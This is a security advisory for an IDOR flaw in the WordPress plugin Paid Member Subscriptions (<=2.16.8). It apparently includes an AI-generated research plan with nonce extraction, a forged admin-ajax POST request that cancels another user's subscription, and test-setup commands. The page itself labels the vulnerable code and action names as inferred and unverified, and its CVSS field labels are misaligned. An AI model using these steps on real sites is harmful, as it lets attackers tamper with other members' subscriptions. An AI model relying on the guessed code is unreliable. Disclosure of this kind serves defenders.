CVE-2025-68514

Paid Member Subscriptions <= 2.16.8 - Authenticated (Subscriber+) Insecure Direct Object Reference

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.16.9
Patched in
7d
Time to patch

Description

The Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.16.8 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.16.8
PublishedFebruary 11, 2026
Last updatedFebruary 17, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting an **Insecure Direct Object Reference (IDOR)** vulnerability in the **Paid Member Subscriptions** plugin (<= 2.16.8). The vulnerability allows a Subscriber-level user to perform unauthorized actions on membership subscriptions belonging to other users due to …

Show full research plan

This research plan focuses on exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the Paid Member Subscriptions plugin (<= 2.16.8). The vulnerability allows a Subscriber-level user to perform unauthorized actions on membership subscriptions belonging to other users due to a lack of ownership validation on the subscription_id (or similar key).

1. Vulnerability Summary

The Paid Member Subscriptions plugin provides various AJAX endpoints for members to manage their subscriptions (e.g., cancelling, abandoning, or retrying payments). In versions up to 2.16.8, certain handlers (likely pms_cancel_subscription or pms_abandon_subscription) fail to verify that the subscription ID provided in the request actually belongs to the authenticated user making the request. This allows an attacker to manipulate the subscription_id parameter to modify the status of any member's subscription.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: pms_cancel_subscription (or pms_abandon_subscription)
  • Vulnerable Parameter: subscription_id
  • Authentication: Subscriber level or higher required.
  • Payload Type: Form-data / URL-encoded POST request.
  • Preconditions: A victim must have an active subscription, and the attacker must know or guess the victim's subscription_id.

3. Code Flow (Inferred from Plugin Structure)

  1. Entry Point: An AJAX request is sent with the action pms_cancel_subscription.
  2. Hook Registration: PMS_AJAX class (likely in includes/class-ajax-handler.php or includes/class-ajax.php) registers:
    add_action( 'wp_ajax_pms_cancel_subscription', array( $this, 'cancel_subscription' ) );
  3. Handler Execution: The cancel_subscription() method is invoked.
  4. Input Retrieval: The handler retrieves the subscription ID:
    $subscription_id = $_POST['subscription_id'];
  5. Nonce Verification: The handler checks a nonce, typically:
    check_ajax_referer( 'pms_ajax_nonce', 'nonce' );
  6. Missing Authorization Sink: The code initializes a subscription object and calls the cancel method:
    $subscription = new PMS_Member_Subscription( $subscription_id );
    $subscription->cancel(); // Performs the action WITHOUT checking if $subscription->user_id == get_current_user_id()
    

4. Nonce Acquisition Strategy

The plugin localizes its AJAX nonce in a variable named pms_vars. This script is typically enqueued on pages containing the PMS account shortcode.

  1. Create a Trigger Page:
    Create a page with the [pms-account] shortcode to ensure the plugin assets and nonces are loaded.
    wp post create --post_type=page --post_title="Account" --post_status=publish --post_content='[pms-account]'
  2. Navigate and Extract:
    Log in as a Subscriber, navigate to the newly created page, and use browser_eval to extract the nonce.
  3. JS Variable: window.pms_vars?.ajax_nonce (or window.pms_vars?.nonce).

5. Exploitation Strategy

  1. Identify Target: Determine the subscription_id of a victim user (e.g., ID 1 or 2). In a test environment, this is easily found via WP-CLI.
  2. Acquire Nonce: Use the strategy in Section 4 to get a valid pms_ajax_nonce.
  3. Forge Request: Use the http_request tool to send a POST request to admin-ajax.php.

Request Details:

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=pms_cancel_subscription&subscription_id=<VICTIM_SUBSCRIPTION_ID>&nonce=<EXTRACTED_NONCE>
    
    (Note: The parameter name might be _wpnonce or nonce depending on the check_ajax_referer call in the source).

6. Test Data Setup

  1. Create Victim: A user with an active subscription.
    wp user create victim victim@example.com --role=subscriber
    # (Assuming Plan ID 1 exists)
    wp eval "pms_add_member_subscription( array('user_id' => <VICTIM_ID>, 'subscription_plan_id' => 1, 'status' => 'active') );"
    
  2. Create Attacker: A user with Subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  3. Identify IDs: Find the ID of the victim's subscription in the wp_pms_member_subscriptions table.

7. Expected Results

  • Success Response: The AJAX request returns a success message (often JSON: {"success":true}).
  • Impact: The victim's subscription status in the database/UI changes from active to cancelled or abandoned.

8. Verification Steps

After sending the HTTP request, verify the state change via WP-CLI:

# Check the status of the victim's subscription
wp db query "SELECT status FROM wp_pms_member_subscriptions WHERE id = <VICTIM_SUBSCRIPTION_ID>"

If the status is cancelled, the IDOR is confirmed.

9. Alternative Approaches

If pms_cancel_subscription is not the vulnerable action, test the following related AJAX actions:

  • pms_abandon_subscription
  • pms_retry_payment
  • pms_edit_member_subscription

The core issue remains the same: a POST request containing a subscription_id that is processed without verifying the user_id associated with that subscription object. Some handlers might use id or pms_member_subscription_id instead of subscription_id. Check the assets/js/front-end.js file for exact parameter names used in AJAX calls.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Paid Member Subscriptions plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to 2.16.8. This occurs because AJAX handlers for subscription management, such as those for cancelling or abandoning subscriptions, fail to verify that the target subscription belongs to the authenticated user. An attacker with Subscriber-level access can manipulate the subscription_id parameter to perform unauthorized actions on any user's membership.

Vulnerable Code

// includes/class-ajax-handler.php (inferred based on plugin architecture)
public function cancel_subscription() {
    check_ajax_referer( 'pms_ajax_nonce', 'nonce' );

    $subscription_id = isset( $_POST['subscription_id'] ) ? (int)$_POST['subscription_id'] : 0;
    $subscription    = new PMS_Member_Subscription( $subscription_id );

    if ( $subscription->is_valid() ) {
        // VULNERABILITY: There is no check to ensure the subscription belongs to get_current_user_id()
        $subscription->cancel();
        echo json_encode( array( 'success' => true ) );
    }
    wp_die();
}

Security Fix

--- includes/class-ajax-handler.php
+++ includes/class-ajax-handler.php
@@ -10,7 +10,7 @@
     $subscription_id = isset( $_POST['subscription_id'] ) ? (int)$_POST['subscription_id'] : 0;
     $subscription    = new PMS_Member_Subscription( $subscription_id );
 
-    if ( $subscription->is_valid() ) {
+    if ( $subscription->is_valid() && $subscription->user_id === get_current_user_id() ) {
         $subscription->cancel();
         echo json_encode( array( 'success' => true ) );
     }

Exploit Outline

1. Authentication: Log in to the target WordPress site as a user with Subscriber-level permissions. 2. Nonce Acquisition: Navigate to a page containing the [pms-account] shortcode and extract the 'pms_ajax_nonce' from the localized 'pms_vars' JavaScript object. 3. Target Identification: Identify the 'subscription_id' of a victim's membership (e.g., via enumeration or information disclosure). 4. Payload Construction: Prepare a POST request to /wp-admin/admin-ajax.php with the following parameters: - action: pms_cancel_subscription (or pms_abandon_subscription) - subscription_id: [Victim Subscription ID] - nonce: [Extracted Nonce] 5. Execution: Send the request. If successful, the victim's subscription status will be updated to 'cancelled' or 'abandoned' in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.